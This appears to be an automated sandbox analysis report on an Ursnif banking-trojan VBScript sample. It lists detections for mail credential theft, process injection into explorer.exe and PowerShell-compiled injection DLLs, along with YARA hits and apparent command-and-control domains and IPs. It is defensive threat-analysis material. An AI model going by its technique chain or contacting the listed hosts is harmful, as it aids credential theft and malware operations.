Tries to steal Mail credentials (via file access)
Source: C:\Windows\explorer.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail
Source: C:\Windows\explorer.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality:

barindex
Yara detected Ursnif
Source: Yara match File source: 00000003.00000003.414828910.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.506842838.000002656DBD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414892314.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.509721795.00000000027B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.423836026.0000000004BDB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.612829369.000002191303E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.612699598.0000021DB8A3E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.491033572.0000000004170000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414853101.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414912288.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.532328464.0000000004E1E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414925514.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414730489.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414774270.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414871579.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001C.00000002.562589004.0000000000C0E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.622893274.0000000004E1E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.515908651.00000000052D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000027.00000002.610642121.000002DACE3AE000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001C.00000003.499431243.0000027A6FE50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: control.exe PID: 4456, type: MEMORY
Source: Yara match File source: Process Memory Space: explorer.exe PID: 3440, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 1040, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 321068 Sample: 6znkPyTAVN7V.vbs Startdate: 20/11/2020 Architecture: WINDOWS Score: 100 67 g.msn.com 2->67 81 Multi AV Scanner detection for domain / URL 2->81 83 Found malware configuration 2->83 85 Antivirus detection for dropped file 2->85 87 15 other signatures 2->87 9 control.exe 1 2->9         started        12 mshta.exe 19 2->12         started        14 wscript.exe 2 8 2->14         started        17 iexplore.exe 1 56 2->17         started        signatures3 process4 file5 105 Changes memory attributes in foreign processes to executable or writable 9->105 107 Injects code into the Windows Explorer (explorer.exe) 9->107 109 Writes to foreign memory regions 9->109 119 4 other signatures 9->119 19 explorer.exe 9->19 injected 111 Suspicious powershell command line found 12->111 23 powershell.exe 32 12->23         started        63 C:\Users\user\AppData\Local\...\earmark.avchd, PE32 14->63 dropped 65 C:\Users\user\AppData\Local\...\Ammerman.zip, Zip 14->65 dropped 113 Benign windows process drops PE files 14->113 115 VBScript performs obfuscated calls to suspicious functions 14->115 117 Deletes itself after installation 14->117 121 2 other signatures 14->121 26 iexplore.exe 30 17->26         started        28 iexplore.exe 32 17->28         started        signatures6 process7 dnsIp8 69 c56.lepini.at 19->69 71 api3.lepini.at 19->71 89 Tries to steal Mail credentials (via file access) 19->89 91 Changes memory attributes in foreign processes to executable or writable 19->91 93 Writes to foreign memory regions 19->93 103 3 other signatures 19->103 30 cmd.exe 19->30         started        33 RuntimeBroker.exe 19->33 injected 35 RuntimeBroker.exe 19->35 injected 37 RuntimeBroker.exe 19->37 injected 55 C:\Users\user\AppData\Local\...\dvgqxizg.0.cs, UTF-8 23->55 dropped 57 C:\Users\user\AppData\...\41myt1z4.cmdline, UTF-8 23->57 dropped 95 Injects code into the Windows Explorer (explorer.exe) 23->95 97 Modifies the context of a thread in another process (thread injection) 23->97 99 Maps a DLL or memory area into another process 23->99 101 Compiles code for process injection (via .Net compiler) 23->101 39 csc.exe 3 23->39         started        42 csc.exe 23->42         started        44 conhost.exe 23->44         started        73 api10.laptok.at 47.241.19.44, 49730, 49731, 49732 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC United States 26->73 file9 signatures10 process11 file12 123 Uses nslookup.exe to query domains 30->123 46 nslookup.exe 30->46         started        49 conhost.exe 30->49         started        59 C:\Users\user\AppData\Local\...\41myt1z4.dll, PE32 39->59 dropped 51 cvtres.exe 1 39->51         started        61 C:\Users\user\AppData\Local\...\dvgqxizg.dll, PE32 42->61 dropped 53 cvtres.exe 42->53         started        signatures13 process14 dnsIp15 75 222.222.67.208.in-addr.arpa 46->75 77 192.168.2.1 unknown unknown 46->77 79 2 other IPs or domains 46->79
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
47.241.19.44
 unknown United States
45102 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC true

Private
IP
192.168.2.1

Contacted Domains

Name IP Active
myip.opendns.com 84.17.52.25 true
c56.lepini.at 47.241.19.44 true
resolver1.opendns.com 208.67.222.222 true
api3.lepini.at 47.241.19.44 true
api10.laptok.at 47.241.19.44 true
g.msn.com unknown unknown
222.222.67.208.in-addr.arpa unknown unknown